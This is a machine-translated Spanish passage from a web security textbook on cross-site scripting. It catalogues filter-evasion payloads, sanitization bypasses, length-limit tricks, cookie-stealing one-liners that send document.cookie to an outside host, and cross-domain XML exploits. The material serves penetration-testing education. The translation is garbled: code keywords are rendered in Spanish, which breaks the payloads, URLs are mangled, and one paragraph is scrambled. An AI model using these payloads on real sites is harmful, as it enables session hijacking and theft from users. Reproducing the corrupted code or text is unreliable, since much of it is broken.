Dentro de las cadenas de JavaScript, puede usar escapes Unicode, escapes hexadecimales,
y escapes octales:
<script>eval('a\u006cert(1)');</script> <script>eval('a\x6cert(1)');</
script> <script>eval('a\154ert(1) ');</script>
Además, los caracteres de escape superfluos dentro de las cadenas se ignoran:
<script>eval('a\l\ert$1$');</script>
Construcción dinámica de cadenas

Puede usar otras técnicas para construir cadenas dinámicamente para usar en sus ataques:
<script>eval('al'+'ert(1)');</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41));</script> <script>eval(atob
('amF2YXNjcmlwdDphbGVydCgxKQ'));</script>
El último ejemplo, que funciona en Firefox, le permite descodificar un comando

codificado en Base64 antes de pasarlo a eval.
Alternativas a eval
Si las llamadas directas al comando eval no son posibles, tiene otras formas de
ejecutar comandos en forma de cadena:
<script>'alerta(1)'.replace(/.+/,eval)</script> <script>función::['alerta'](1)</
script>
Alternativas a los puntos

Si el carácter de punto está bloqueado, puede usar otros métodos para realizar
desreferencias:
<script>alerta(documento['cookie'])</script>
<script>with(documento)alerta(cookie)</script>
Combinación de múltiples técnicas

Las técnicas descritas hasta ahora se pueden usar en combinación para aplicar varias
capas de ofuscación a su ataque. Además, en los casos en los que se utiliza JavaScript
dentro de un atributo de etiqueta HTML (a través de un controlador de eventos, un
pseudoprotocolo de secuencias de comandos o un estilo de evaluación dinámica),
puede combinar estas técnicas con la codificación HTML. El navegador HTML decodifica
el valor del atributo de la etiqueta antes de que se interprete el JavaScript que contiene.
En el siguiente ejemplo, el carácter "e" en "alerta" se ha escapado usando el escape
Unicode, y la barra invertida utilizada en el escape Unicode se ha codificado en HTML:
<img onerror=eval('al\u0065rt(1)') src=a>

Por supuesto, cualquiera de los otros caracteres dentro del valor del atributo onerror podría
también estar codificado en HTML para ocultar aún más el ataque:
<img onerror=eval('al\u0065rt(1&
#x29;') origen=a>
Esta técnica le permite omitir muchos fi ltros en el código de JavaScript, ya que puede
evitar el uso de palabras clave de JavaScript u otra sintaxis como comillas, puntos y corchetes.
Uso de VBScript
Aunque los ejemplos comunes de exploits XSS generalmente se enfocan en JavaScript, en
Internet Explorer también puede usar el lenguaje VBScript. Tiene una sintaxis diferente y otras
propiedades que puede aprovechar para omitir muchos filtros de entrada que se diseñaron
pensando solo en JavaScript.
Puede introducir código VBScript de varias formas:
<script language=vbs>MsgBox 1</script> <img

onerror=”vbs:MsgBox 1” src=a> <img onerror=MsgBox+1
language=vbs src=a>
En todos los casos, puede usar vbscript en lugar de vbs para especificar el idioma. En el
último ejemplo, tenga en cuenta el uso de MsgBox+1 para evitar el uso de espacios en blanco,
evitando así la necesidad de comillas alrededor del valor del atributo. Esto funciona porque
+1 efectivamente suma el número 1 a nada, por lo que la expresión se evalúa como 1, que
se pasa a la función MsgBox .
Cabe señalar que en VBScript, algunas funciones se pueden llamar sin corchetes , como se
muestra en los ejemplos anteriores. Esto puede permitirle omitir algunos filtros que asumen que
el código de secuencia de comandos debe utilizar corchetes para acceder a cualquier función.
Además, a diferencia de JavaScript, el lenguaje VBScript no distingue entre mayúsculas y
minúsculas, por lo que puede usar caracteres en mayúsculas y minúsculas en todas las
palabras clave y nombres de funciones. Este comportamiento es más útil cuando la función
de la aplicación que está atacando modifica el caso de su entrada, como convertirlo a mayúsculas.
Aunque esto puede haberse hecho por razones de funcionalidad en lugar de seguridad ,
puede frustrar las vulnerabilidades XSS utilizando código JavaScript, que no se ejecuta
cuando se convierte a mayúsculas. Por el contrario, los exploits que usan VBScript todavía funcionan:
<SCRIPT LANGUAGE=VBS>MSGBOX 1</SCRIPT>

<IMG ONERROR=”VBS:MSGBOX 1” SRC=A>
Combinando VBScript y JavaScript

Para agregar más capas de complejidad a su ataque y eludir algunos fi ltros, puede llamar a
VBScript desde JavaScript y viceversa:
<script>execScript(“MsgBox 1”,”vbscript”);</script> <script

language=vbs>execScript(“alerta(1)”)</script>
Incluso puede anidar estas llamadas y hacer ping-pong entre los idiomas según sea necesario:
<script>execScript('execScript
“alerta(1)”,”javascript”',”vbscript”);</script>
Como se mencionó, VBScript no distingue entre mayúsculas y minúsculas, lo que le permite

ejecutar código en contextos donde su entrada se convierte a mayúsculas. Si realmente desea
llamar a funciones de JavaScript en estas situaciones, puede usar funciones de manipulación
de cadenas dentro de VBScript para construir un comando con el caso requerido y luego
ejecutarlo usando JavaScript:
<IDIOMA DEL SCRIPT=VBS>EXECSCRIPT(LCASE(“ALERTA(1)”)) </SCRIPT>

<IMG ONERROR=”VBS:EXECSCRIPT LCASE('ALERT(1)')” SRC=A>
Uso de scripts codificados

En Internet Explorer, puede usar el algoritmo de codificación de secuencias de comandos personalizado de Microsoft
para ocultar el contenido de las secuencias de comandos y potencialmente omitir algunos filtros de entrada:
<img onerror=”VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@” src=a> <img language=”JScript.Encode”

onerror=”#@~^CAAAAA ==C^+.D`8#mgIAAA==^#~@”
origen=a>
Esta codificación se diseñó originalmente para evitar que los usuarios inspeccionaran
fácilmente los scripts del lado del cliente al ver el código fuente de la página HTML. Desde
entonces, se ha realizado ingeniería inversa y numerosas herramientas y sitios web le permitirán
decodificar scripts codificados. Puede codificar sus propios scripts para usarlos en ataques a
través de la utilidad de línea de comandos de Microsoft srcenc en versiones anteriores de Windows.
Superando la desinfección
De todos los obstáculos que puede encontrar al intentar explotar las condiciones potenciales
de XSS, los filtros desinfectantes son probablemente los más comunes. Aquí, la aplicación
realiza algún tipo de desinfección o codificación en su cadena de ataque que la vuelve
inofensiva, evitando que provoque la ejecución de JavaScript.
La manifestación más frecuente de desinfección de datos ocurre cuando la aplicación
codifica en HTML ciertos caracteres clave que son necesarios para lanzar un ataque (por lo que
< se convierte en < y > se convierte en >). En otros casos, la aplicación puede eliminar
ciertos caracteres o expresiones en un intento de limpiar su entrada de contenido malicioso.
Cuando encuentre esta defensa, su primer paso es determinar con precisión

qué caracteres y expresiones se están desinfectando y si aún es posible llevar
a cabo un ataque sin emplear directamente estos caracteres y expresiones.
Por ejemplo, si sus datos se insertan directamente en un script existente, es
posible que no necesite emplear ningún carácter de etiqueta HTML. O bien, si
la aplicación elimina las etiquetas <script> de su entrada, es posible que pueda
para usar una etiqueta diferente con un controlador de eventos adecuado. Aquí, debe
considerar todas las técnicas ya discutidas para tratar con fi ltros basados en firmas,
incluido el uso de capas de codificación, bytes NULL, sintaxis no estándar y código de
script ofuscado. Al modificar su entrada en las diversas formas descritas, puede diseñar
un ataque que no contenga ninguno de los caracteres o expresiones que el filtro está
desinfectando y, por lo tanto, evitarlo con éxito.
Si parece imposible realizar un ataque sin usar la entrada que se está desinfectando,
debe probar la eficacia del filtro de desinfección para establecer si existen derivaciones.
Como se describe en el Capítulo 2, a menudo aparecen varios errores al desinfectar los fi ltros.
Algunas API de manipulación de cadenas contienen métodos para reemplazar solo la
primera instancia de una expresión coincidente y, a veces, se confunden fácilmente
con métodos que reemplazan todas las instancias. Entonces, si <script> se elimina de
su entrada, debe intentar lo siguiente para verificar si se eliminan todas las instancias:
<script><script>alerta(1)</script>
En esta situación, también debe verificar si la desinfección se realiza de forma recursiva:
<scr<script>ipt>alerta(1)</script>
Además, si el fi ltro realiza varios pasos de desinfección en su entrada,

debe verificar si se puede aprovechar el orden o la interacción entre estos.
Por ejemplo, si el fi ltro elimina <script> de forma recursiva y luego elimina <objeto> de
forma recursiva, el siguiente ataque puede tener éxito:
<scr<objeto>ipt>alerta(1)</script>
Cuando está inyectando en una cadena entre comillas en un script existente, es

común encontrar que la aplicación desinfecta su entrada colocando el carácter de barra
invertida antes de cualquier carácter de comillas que envíe. Esto escapa de las comillas,
lo que le impide terminar la cadena e inyectar un script arbitrario. En esta situación,
siempre debe verificar si el carácter de barra invertida se está escapando. De lo contrario,
es posible una derivación simple del filtro.
Por ejemplo, si controlas el valor foo en:
var a = 'foo';
puedes inyectar:
foo\'; alerta(1);//
Esto da como resultado la siguiente respuesta, en la que se ejecuta el script

inyectado . Tenga en cuenta el uso del carácter de comentario de JavaScript // para comentar el
resto de la línea, evitando así un error de sintaxis causado por el propio delimitador de
cadena de la aplicación:
var a = 'foo\\'; alerta(1);//';
Aquí, si encuentra que el carácter de barra invertida también se escapa correctamente, pero los
corchetes angulares se devuelven sin desinfectar, puede usar el siguiente ataque:
</script><script>alerta(1)</script>
Esto abandona efectivamente el script original de la aplicación e inyecta uno nuevo inmediatamente
después. El ataque funciona porque el análisis de etiquetas HTML de los navegadores tiene prioridad
sobre su análisis de JavaScript incrustado:
<script>var a = '</script><script>alerta(1)</script>
Aunque la secuencia de comandos original ahora contiene un error de sintaxis, esto no importa,
porque el navegador continúa y ejecuta la secuencia de comandos inyectada independientemente del
error en la secuencia de comandos original.
¡INTENTALO!
http://mdsec.net/search/48/ http://mdsec.net/
search/52/
SUGERENCIA Si puede inyectar en un script, pero no puede usar comillas porque se escapan,
puede usar la técnica String.fromCharCode para construir cadenas sin necesidad de
delimitadores, como se describió anteriormente.
En los casos en que la secuencia de comandos que está inyectando reside dentro de un controlador
de eventos, en lugar de un bloque de secuencia de comandos completo, puede codificar en HTML sus
comillas para evitar la limpieza de la aplicación y salir de la cadena que controla. Por ejemplo, si
controlas el valor foo en:
<a href=”#” onclick=”var a = 'foo'; ...
y la aplicación escapa correctamente tanto de las comillas como de las barras invertidas en su entrada,
el siguiente ataque puede tener éxito:
foo'; alerta(1);//
Esto da como resultado la siguiente respuesta, y debido a que algunos navegadores realizan una
decodificación de HTML antes de que el controlador de eventos se ejecute como JavaScript, el ataque
tiene éxito:
<a href=”#” onclick=”var a = 'foo'; alerta(1);//'; ...

El hecho de que los controladores de eventos se decodifiquen en HTML antes de ejecutarse

como JavaScript representa una advertencia importante para la recomendación estándar de
la codificación HTML de la entrada del usuario para evitar ataques XSS. En este contexto
sintáctico, la codificación HTML no es necesariamente un obstáculo para un ataque. El propio
atacante puede incluso utilizarlo para eludir otras defensas.
Superando los límites de longitud
Cuando la aplicación trunca su entrada a una longitud máxima fija, tiene tres enfoques posibles
para crear un exploit funcional.
El primer método, bastante obvio, es intentar acortar la carga útil de su ataque utilizando
las API de JavaScript con la longitud más corta posible y eliminando los caracteres que
normalmente se incluyen pero que son estrictamente innecesarios. Por ejemplo, si está
inyectando en un script existente, el siguiente comando de 28 bytes transmite las cookies del
usuario al servidor con el nombre de host a:
abierto(“//a/”+documento.cookie)
Alternativamente, si está inyectando directamente en HTML, los siguientes 30 bytes

etiqueta carga y ejecuta un script desde el servidor con nombre de host a:
<script src=http://a></script>
En Internet, estos ejemplos obviamente deberían expandirse para contener un nombre de

dominio o una dirección IP válidos. Sin embargo, en una red corporativa interna , en realidad
puede ser posible usar una máquina con el nombre WINS a para hospedar el servidor
destinatario.
SUGERENCIA Puede utilizar el empaquetador de JavaScript de Dean Edwards para reducir un

script dado tanto como sea posible mediante la eliminación de espacios en blanco innecesarios.
Esta utilidad también convierte los scripts en una sola línea para insertarlos fácilmente en un parámetro de solicitud:
http://dean.edwards.name/packer/
La segunda técnica, potencialmente más poderosa para superar los límites de longitud,
es expandir la carga útil de un ataque a través de múltiples ubicaciones diferentes donde la
entrada controlable por el usuario se inserta en la misma página devuelta. Por ejemplo,
considere la siguiente URL:
https://wahh-app.com/account.php?page_id=244&seed=129402931&mode=normal
Devuelve una página que contiene lo siguiente:
<input type=”hidden” name=”page_id” value=”244”> <input type=”hidden”

name=”seed” value=”129402931”> <input type=”hidden” name=”mode” value=
”normales”>
Suponga que cada campo tiene restricciones de longitud, de modo que no se puede
insertar ninguna cadena de ataque factible en ninguno de ellos. Sin embargo, aún puede
entregar un exploit funcional utilizando la siguiente URL para distribuir un script en las
tres ubicaciones que controla:
https://myapp.com/account.php?page_id=”><script>/*&seed=*/alert(document .cookie);/*&mode=*/</script>
Cuando los valores de los parámetros de esta URL se incrustan en la página, el

resultado es el siguiente:
<input type=”hidden” name=”page_id” value=””><script>/*”> <input type=”hidden”
name=”seed” value=”*/alert(document.cookie);/* ”> <tipo de entrada=”oculto” nombre=”modo” valor=”*/</
script>”>
El HTML resultante es válido y equivale solo a las partes en negrita.

Los fragmentos de código fuente intermedios se han convertido efectivamente en
comentarios de JavaScript (rodeados por los marcadores /* y */ ), por lo que el navegador los ignora.
Por lo tanto, su script se ejecuta como si hubiera sido insertado completo en una
ubicación dentro de la página.
SUGERENCIA La técnica de expandir una carga útil de ataque a través de múltiples

campos a veces se puede usar para vencer a otros tipos de filtros defensivos. Es
bastante común encontrar diferentes validaciones y saneamientos de datos
implementados en diferentes campos dentro de una sola página de una aplicación.
En el ejemplo anterior, suponga que los parámetros page_id y mode están sujetos a
una longitud máxima de 12 caracteres. Debido a que estos campos son tan cortos,
los desarrolladores de la aplicación no se molestaron en implementar ningún filtro
XSS. El parámetro semilla, por otro lado, no tiene restricciones de longitud, por lo
que se implementaron fi ltros rigurosos
o >". para
En este
evitar
escenario,
la inyección
a pesar
de los
de los
caracteres
esfuerzos
"<
de los desarrolladores, aún es posible insertar una secuencia de comandos
arbitrariamente larga en el parámetro inicial sin emplear ninguno de los caracteres
bloqueados, porque el contexto de JavaScript se puede crear mediante la inyección de datos en los campos circun
Una tercera técnica para superar los límites de longitud, que puede ser muy
eficaz en algunas situaciones, es “convertir” una falla XSS reflejada en una
vulnerabilidad basada en DOM. Por ejemplo, en la vulnerabilidad XSS reflejada
original, si la aplicación establece una restricción de longitud en el parámetro del
mensaje que se copia en la página devuelta, puede inyectar el siguiente script de
45 bytes, que evalúa la cadena del fragmento en la URL actual. :
<script>eval(ubicación.hash.slice(1))</script>
Al inyectar este script en el parámetro que es vulnerable al XSS reflejado, puede

inducir efectivamente una vulnerabilidad XSS basada en DOM en la página resultante.
y así ejecutar un segundo script ubicado dentro de la cadena de fragmentos, que

está fuera del control de los fi ltros de la aplicación y puede ser arbitrariamente largo.
Por ejemplo:
http://mdsec.net/error/5/Error.ashx?message=<script>eval(ubicación.hash .substr(1))</script>#alert('script largo
aquí ......' )
Aquí hay una versión aún más corta que funciona en la mayoría de las situaciones:
http://mdsec.net/error/5/Error.ashx?message=<script>eval(unescape(ubicación)) </script>#%0Aalert('script largo

aquí ......')
En esta versión, toda la URL se decodifica como URL y luego se pasa al comando eval .
La URL completa se ejecuta como JavaScript válido porque el prefijo del protocolo http:
sirve como una etiqueta de código, el // que sigue al prefijo del protocolo sirve como un
comentario de una sola línea y %0A se decodifica como URL para convertirse en una
nueva línea, lo que indica el final del comentario.
Entrega de exploits XSS funcionales

Por lo general, cuando trabaja en una posible vulnerabilidad XSS para comprender y eludir
los fi ltros de la aplicación, está trabajando fuera del navegador, utilizando una herramienta
como Burp Repeater para enviar la misma solicitud repetidamente, modificando la solicitud
en pequeñas formas cada vez. y probar el efecto sobre la respuesta. En algunas
situaciones, después de haber creado un ataque de prueba de concepto de esta manera,
es posible que aún tenga trabajo por hacer para lanzar un ataque práctico contra otros
usuarios de la aplicación. Por ejemplo, el punto de entrada para XSS puede no ser trivial
de controlar en las solicitudes de otros usuarios, como una cookie o el encabezado
Referer . O los usuarios objetivo pueden estar usando un navegador con protección
integrada contra ataques XSS reflejados. En esta sección se examinan varios desafíos
que pueden surgir cuando se implementan exploits XSS funcionales en la práctica y cómo se pueden eludir.
Escalar un ataque a otras páginas de la aplicación

Suponga que la vulnerabilidad que identificó se encuentra en un área poco interesante de
la aplicación, que afecta solo a usuarios no autenticados, y que un área diferente contiene
la funcionalidad y los datos realmente confidenciales que desea comprometer.
En esta situación, normalmente es bastante fácil idear una carga útil de ataque que
pueda entregar a través del error XSS en un área de la aplicación y que persista dentro
del navegador del usuario para comprometer a la víctima dondequiera que vaya en el
mismo dominio.
Un método simple para hacer esto es que el exploit cree un iframe que cubra toda la
ventana del navegador y vuelva a cargar la página actual dentro del iframe.
A medida que el usuario navega por el sitio e inicia sesión en el área autenticada, el script
inyectado sigue ejecutándose en la ventana de nivel superior. Puede engancharse a todos
eventos de navegación y envíos de formularios en el iframe secundario, monitorear todo el contenido

de respuesta que aparece en el iframe y, por supuesto, secuestrar la sesión del usuario cuando sea el
momento adecuado. En los navegadores compatibles con HTML5, la secuencia de comandos puede
incluso establecer la URL adecuada en la barra de ubicación a medida que el usuario se mueve entre
las páginas, utilizando la función window.history.pushState() .
Para ver un ejemplo de este tipo de explotación, consulte esta URL:
http://blog.kotowicz.net/2010/11/xss-track-how-to-quietly-track-whole.html
MITO COMÚN
“No nos preocupa ningún error XSS en la parte no autenticada de nuestro sitio. No se
pueden usar para secuestrar sesiones”.
Este pensamiento es erróneo por dos razones. Primero, un error XSS en la parte no
autenticada de una aplicación normalmente se puede usar para comprometer directamente
las sesiones de los usuarios autenticados. Por lo tanto, una falla de XSS reflejada no
autenticada suele ser más grave que una autenticada, porque el alcance de las posibles
víctimas es más amplio. En segundo lugar, incluso si un usuario aún no está autenticado, un
atacante puede implementar alguna funcionalidad troyana que persiste en el navegador de la
víctima a través de múltiples solicitudes, esperando hasta que la víctima inicie sesión y luego
secuestrando la sesión resultante. Incluso es posible capturar la contraseña de un usuario
utilizando un registrador de teclas escrito en JavaScript, como se describe en el Capítulo 13.
Modificación del método de solicitud
Suponga que la vulnerabilidad XSS que identificó usa una solicitud POST , pero el método más
conveniente para lanzar un ataque requiere el método GET , por ejemplo, al enviar una publicación en
el foro que contiene una etiqueta IMG dirigida a la URL vulnerable.
En estos casos, siempre vale la pena verificar si la aplicación maneja la solicitud

de la misma manera si se convierte en una solicitud GET . Muchas aplicaciones
toleran solicitudes en cualquier forma.
En Burp Suite, puede usar el comando "método de solicitud de cambio" en el
menú contextual para alternar cualquier solicitud entre los métodos GET y POST .
MITO COMÚN
“Este error XSS no es explotable. No puedo hacer que mi ataque funcione como
una solicitud GET".
Si una falla XSS reflejada solo puede explotarse mediante el método POST, la
aplicación aún es vulnerable a varios mecanismos de entrega de ataques, incluidos los que
emplean un sitio web malicioso de terceros.
En algunas situaciones, la técnica opuesta puede ser útil. Convertir un ataque que usa el método
GET en uno que usa el método POST puede permitirle eludir ciertos fi ltros. Muchas aplicaciones
realizan un filtrado genérico de solicitudes de cadenas de ataque conocidas en toda la aplicación. Si
una aplicación espera recibir solicitudes utilizando el método GET , puede realizar este filtrado solo
en la cadena de consulta de URL. Al convertir una solicitud para usar el método POST , es posible
que pueda omitir este fi ltro.
Explotación de XSS a través de
cookies Algunas aplicaciones contienen vulnerabilidades XSS reflejadas para las cuales el punto de
entrada del ataque se encuentra dentro de una cookie de solicitud. En esta situación, puede utilizar
varias técnicas para aprovechar la vulnerabilidad:
n Al igual que con la modificación del método de solicitud, la aplicación puede permitirle usar una
URL o un parámetro de cuerpo con el mismo nombre que la cookie para desencadenar la
vulnerabilidad.
n Si la aplicación contiene alguna funcionalidad que permite establecer directamente el valor de

la cookie (por ejemplo, una página de preferencias que establece las cookies en función de
los valores de parámetros enviados), es posible que pueda diseñar un ataque de falsificación
de solicitud entre sitios que establezca el valor requerido. cookie en el navegador de la víctima.
Explotar la vulnerabilidad requeriría inducir a la víctima a realizar dos solicitudes: configurar
la cookie requerida que contiene una carga útil XSS y solicitar la funcionalidad donde el valor
de la cookie se procesa de una manera no segura.
n Históricamente, han existido varias vulnerabilidades en las tecnologías de extensión del

navegador, como Flash, que han permitido que se emitan solicitudes entre dominios con
encabezados HTTP arbitrarios. Actualmente, al menos una de estas capacidades de
vulnerabilidad es ampliamente conocida pero aún no se ha reparado. Podría aprovechar una
de estas vulnerabilidades en los complementos del navegador para realizar solicitudes entre
dominios que contengan un encabezado de cookie arbitrario diseñado para desencadenar la
vulnerabilidad. n Si ninguno de los métodos anteriores tiene éxito, puede aprovechar cualquier
otro error XSS reflejado en el mismo dominio (o uno relacionado) para establecer una cookie
persistente con el valor requerido, lo que compromete permanentemente al usuario víctima.
Explotación de XSS en el encabezado de
referencia Algunas aplicaciones contienen vulnerabilidades de XSS reflejadas que solo pueden
activarse a través del encabezado de referencia . Por lo general, estos son bastante fáciles de
explotar utilizando un servidor web controlado por el atacante. Se induce a la víctima a solicitar una
URL en el servidor del atacante que contenga una carga útil XSS adecuada para la aplicación
vulnerable. El servidor del atacante devuelve una respuesta que provoca una solicitud a la URL
vulnerable, y la carga útil del atacante se incluye en el encabezado Referer que se envía con esta
solicitud.
En algunas situaciones, la vulnerabilidad XSS se activa solo si el encabezado de

referencia contiene una URL en el mismo dominio que la aplicación vulnerable. Aquí,
puede aprovechar cualquier función de redireccionamiento en el sitio dentro de la
aplicación para lanzar su ataque. Para hacer esto, debe construir una URL para la
función de redireccionamiento que contenga un exploit XSS válido y provoque una
redirección a la URL vulnerable. El éxito de este ataque depende del método de
redirección que utilice la función y de si los navegadores actuales actualizan el
encabezado Referer cuando siguen redirecciones de ese tipo.
Explotación de XSS en contenido de solicitud y respuesta no estándar

Las complejas aplicaciones actuales emplean cada vez más solicitudes Ajax que no contienen
parámetros de solicitud tradicionales. En cambio, las solicitudes a menudo contienen datos en
formatos como XML y JSON, o emplean varios esquemas de serialización.
En consecuencia, las respuestas a estas solicitudes frecuentemente contienen datos en el
mismo u otro formato, en lugar de HTML.
La funcionalidad del lado del servidor involucrada en estas solicitudes y respuestas a menudo
exhibe un comportamiento similar al de XSS. Las cargas útiles de solicitud que normalmente
indicarían la presencia de una vulnerabilidad son devueltas por la aplicación sin modificar.
En esta situación, todavía es posible que el comportamiento pueda explotarse para entregar
un ataque XSS. Para hacerlo, debe enfrentar dos desafíos distintos:
n Debe encontrar un medio para hacer que un usuario víctima realice la solicitud entre
dominios necesaria. n Necesita encontrar una forma de manipular la respuesta para que
se ejecute
su script cuando es consumido por el navegador.
Ninguno de estos desafíos es trivial. Primero, las solicitudes en cuestión generalmente se

realizan desde JavaScript utilizando XMLHttpRequest (consulte el Capítulo 3). De forma
predeterminada, esto no se puede usar para realizar solicitudes entre dominios. Aunque
XMLHttpRequest se está modificando en HTML5 para permitir que los sitios especifiquen otros
dominios que pueden interactuar con ellos, si encuentra un objetivo que permite la interacción
de terceros, probablemente haya formas más sencillas de comprometerlo (consulte el Capítulo 13).
En segundo lugar, en cualquier ataque, la respuesta devuelta por la aplicación sería
consumida directamente por el navegador de la víctima, no por el script personalizado que la
procesa en su contexto original. La respuesta contendrá datos en cualquier formato que no sea
HTML que se esté utilizando, generalmente con el encabezado de tipo de contenido
correspondiente . En esta situación, el navegador procesa la respuesta de forma normal para
este tipo de datos (si se reconoce), y los métodos normales para introducir código de secuencia
de comandos a través de HTML pueden ser irrelevantes.
Aunque no es trivial, en algunas situaciones se pueden cumplir ambos desafíos, lo que
permite explotar el comportamiento similar al XSS para lanzar un ataque funcional. Examinaremos
cómo se puede hacer esto utilizando el formato de datos XML como ejemplo.
Envío de solicitudes XML entre dominios Es

posible enviar entre dominios de datos casi arbitrarios dentro del cuerpo de la solicitud HTTP
mediante el uso de un formulario HTML con el atributo enctype establecido en texto/sin formato.
Esto le dice al navegador que maneje los parámetros del formulario de la siguiente manera:
n Envíe cada parámetro en una línea separada dentro de la solicitud. n

Use un signo igual para separar el nombre y el valor de cada parámetro (como
normal).
n No realice ninguna codificación URL de nombres o valores de parámetros.
Aunque algunos navegadores no respetan esta especificación, las versiones actuales

de Internet Explorer, Firefox y Opera la respetan correctamente.
El comportamiento descrito significa que puede enviar datos arbitrarios en el cuerpo del
mensaje, siempre que haya al menos un signo igual en cualquier parte de los datos. Para
hacer esto, divide los datos en dos partes, antes y después del signo igual. Coloca el
primer fragmento en un nombre de parámetro y el segundo fragmento en un valor de
parámetro. Cuando el navegador construye la solicitud, envía los dos fragmentos separados
por un signo igual, construyendo así exactamente los datos requeridos.
Dado que XML siempre contiene al menos un signo igual, en el atributo de versión de la
etiqueta XML de apertura, podemos usar esta técnica para enviar datos XML arbitrarios
entre dominios en el cuerpo del mensaje. Por ejemplo, si el XML requerido fuera el siguiente:
<?xml version=”1.0”?><data><param>foo</param></data>
Podríamos enviarlo usando el siguiente formulario:
<form enctype=”text/plain” action=”http://wahh-app.com/ vuln.php”

método = "POST">
<tipo de entrada=”oculto” nombre='<? versión xml'
value='”1.0”?><datos><param>foo</param></datos>'>
</form><script>documento.formularios[0].submit();</script>
Para incluir caracteres de ataque comunes dentro del valor del parámetro param , como
paréntesis angulares de etiquetas, estos deben estar codificados en HTML dentro de la
solicitud XML. Por lo tanto, tendrían que tener doble codificación HTML dentro del formulario
HTML que genera esa solicitud.
SUGERENCIA Puede usar esta técnica para enviar solicitudes entre dominios que
contengan prácticamente cualquier tipo de contenido, como datos codificados en
JSON y objetos binarios serializados, siempre que pueda incorporar el carácter
igual en algún lugar dentro de la solicitud. Normalmente, esto es posible modificando
un campo de texto de forma libre dentro de la solicitud que puede contener un
carácter igual. Por ejemplo, en los siguientes datos JSON, el campo de comentario se usa para introducir el
{ “nombre”: “Juan”, “correo electrónico”: “[email protected]”, “comentario”: “=” }

La única advertencia importante sobre el uso de esta técnica es que la solicitud resultante
contendrá el siguiente encabezado:
Tipo de contenido: texto/simple
La solicitud original normalmente habría contenido un encabezado de tipo de contenido

diferente , dependiendo exactamente de cómo se generó. Si la aplicación tolera el
encabezado de tipo de contenido proporcionado y procesa el cuerpo del mensaje de
manera normal, la técnica se puede utilizar con éxito al intentar desarrollar un exploit XSS
que funcione. Si la aplicación no puede procesar la solicitud de manera normal, debido al
encabezado de tipo de contenido modificado , es posible que no haya forma de enviar una
solicitud de dominio cruzado adecuada para activar el comportamiento similar a XSS.
SUGERENCIA Si identifica un comportamiento similar al de XSS en una solicitud que

contiene contenido no estándar, lo primero que debe hacer es verificar rápidamente si
el comportamiento se mantiene cuando cambia el encabezado de tipo de contenido a
texto/sin formato. Si no es así, puede que no valga la pena invertir más esfuerzos para
tratar de desarrollar un exploit XSS que funcione.
Ejecución de JavaScript desde respuestas XML El

segundo desafío que se debe superar cuando se intenta explotar un comportamiento
similar al de XSS en contenido no estándar es encontrar una manera de manipular la
respuesta para que ejecute su secuencia de comandos cuando la consuma directamente
el navegador. Si la respuesta contiene un encabezado de tipo de contenido inexacto , o
ninguno, o si su entrada se refleja justo al comienzo del cuerpo de la respuesta, esta tarea
puede ser sencilla.
Sin embargo, por lo general, la respuesta incluye un encabezado de tipo de contenido
que describe con precisión el tipo de datos que devuelve la aplicación. Además, su entrada
generalmente se refleja en la mitad de la respuesta, y la mayor parte de la respuesta antes
y después de este punto contendrá datos que cumplan con las especificaciones relevantes
para el tipo de contenido indicado. Los diferentes navegadores adoptan diferentes
enfoques para analizar el contenido. Algunos simplemente confían en el encabezado
Content-Type , y otros inspeccionan el contenido en sí y están dispuestos a anular el tipo
indicado si el tipo real parece diferente. Sin embargo, en esta situación, cualquiera de los
dos enfoques hace que sea muy poco probable que el navegador procese la respuesta como HTML.
Si es posible construir una respuesta que tenga éxito en la ejecución de un script, esto
normalmente implica explotar alguna característica sintáctica particular del tipo de contenido
que se está inyectando. Afortunadamente, en el caso de XML, esto se puede lograr utilizando
el marcado XML para defi nir un nuevo espacio de nombres que se asigna a XHTML, lo que
hace que el navegador analice los usos de ese espacio de nombres como HTML. Por ejemplo,
cuando Firefox procesa la siguiente respuesta, se ejecuta el script inyectado:
HTTP/1.1 200 Ok
Tipo de contenido: texto/xml
<xml>
<datos>
...
<a xmlns:a='http://www.w3.org/1999/xhtml'>
<a:carga corporal='alerta(1)'/></a>
...
</datos>
</xml>
Como se mencionó, este exploit tiene éxito cuando la respuesta es consumida

directamente por el navegador y no por el componente original de la aplicación que
normalmente procesaría la respuesta.
Atacar los filtros XSS del navegador

Un obstáculo para la explotación práctica de prácticamente cualquier vulnerabilidad XSS reflejada
surge de varias características del navegador que intentan proteger a los usuarios precisamente
de estos ataques. Las versiones actuales del navegador Internet Explorer incluyen un fi ltro XSS
de forma predeterminada y funciones similares están disponibles como complementos para varios
otros navegadores. Todos estos filtros funcionan de manera similar: supervisan de forma pasiva
las solicitudes y las respuestas, usan varias reglas para identificar posibles ataques XSS en curso
y, cuando se identifica un posible ataque, modifican partes de la respuesta para neutralizar el
posible ataque.
Ahora, como hemos discutido, las condiciones XSS deben considerarse capacidades de
vulnerabilidad si pueden explotarse a través de cualquier navegador de uso generalizado, y la
presencia de fi ltros XSS en algunos navegadores no significa que las vulnerabilidades XSS no
necesiten corregirse. No obstante, en algunas situaciones prácticas, un atacante puede necesitar
específicamente explotar una vulnerabilidad a través de un navegador que implementa un fi ltro
XSS. Además, las formas en que se pueden eludir los fi ltros XSS son interesantes por derecho
propio. En algunos casos, pueden aprovecharse para facilitar la ejecución de otros ataques que,
de otro modo, serían imposibles.
Esta sección examina el filtro XSS de Internet Explorer. Actualmente es el fi ltro disponible
más maduro y ampliamente adoptado.
El funcionamiento principal del fi ltro IE XSS es el siguiente:
n En las solicitudes entre dominios, se inspecciona cada valor de parámetro para identificar
posibles intentos de inyectar JavaScript. Esto se hace comparando el valor con una lista
negra basada en expresiones regulares de cadenas de ataques comunes.
n Si se encuentra un valor de parámetro potencialmente malicioso, se comprueba la respuesta

para ver si contiene este mismo valor.
n Si el valor aparece en la respuesta, la respuesta se desinfecta para evitar que se ejecute

cualquier script. Por ejemplo, <script> se modifica para convertirse en
<sc#ipt>.
Lo primero que hay que decir sobre el filtro XSS de IE es que, por lo general, es muy
eficaz para bloquear la explotación estándar de errores XSS, lo que eleva considerablemente
el listón para cualquier atacante que intente realizar estos ataques. Dicho esto, el fi ltro se
puede omitir de algunas maneras importantes. También puede aprovechar el
funcionamiento del fi ltro para lanzar ataques que de otro modo serían imposibles.
